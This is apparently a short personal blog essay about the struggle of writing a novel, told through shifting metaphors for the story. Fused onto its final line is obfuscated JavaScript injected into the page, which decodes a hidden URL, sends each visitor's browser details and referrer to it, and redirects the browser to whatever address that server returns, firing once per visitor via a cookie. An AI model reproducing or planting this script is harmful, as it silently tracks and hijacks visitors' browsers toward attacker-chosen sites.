I’m writing a novel. Let me tell the story of my story.

My story never leaves me. It is like a siamese twin. I can talk to it, and it talks back, but we are joined at the hip so we don’t have the option of leaving each other.

Though I can’t banish my story, I can transform it. And right now it is a punching bag. I punch it in a burst of anger and tell it how unworthy it is. I list its faults. Then in a moment of emotion I let my fists fall and I tell it how much I love it, but I have no idea how to communicate right now. No idea how to help it grow.

So I fall asleep on the couch instead. My story is a helicopter now, and it hovers over my head making annoying sounds. Just when I think it has disappeared into the distance, I hear the whir of the propellers again. My story is back. Maybe it believes in me. Maybe it will give me a second chance.

Now my story is a lump of clay. It is soft, and my fingers eagerly shape it with inspiration and purpose. I feel in control. The voice of my story is quiet now, and sometimes the sound of my inspiration drowns out its voice. In a moment I pause and listen. It sounds like music, and it is a new music that makes sense of my meanderings. I listen to the same part over and over and still it sounds beautiful. And then—

My story is a punching bag.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}